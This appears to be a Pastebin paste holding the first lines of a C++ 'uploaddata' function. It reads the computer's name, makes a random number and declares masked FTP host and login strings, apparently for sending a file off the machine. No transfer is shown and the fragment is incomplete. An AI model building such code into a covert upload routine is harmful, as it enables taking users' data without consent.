Guest User

Untitled

a guest
Nov 18th, 2018
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.51 KB | None | 0 0
  1. void uploaddata()
  2. {
  3. string computer;
  4. computer = getenv ("COMPUTERNAME"); //We will use this to rename the file to the name of the computer
  5. srand ( time(NULL) ); // Setting up a random number
  6. int random = rand() % 1000 + 1; //
  7. string host = "*****"; // ftp host name
  8. string user = "*****"; // username
  9. string pass = "*****"; // password
  10. char intstring[20]; //
  11. itoa(random, intstring, 10); // This is just to change the random number(int) to a character array
Add Comment
Please, Sign In to add comment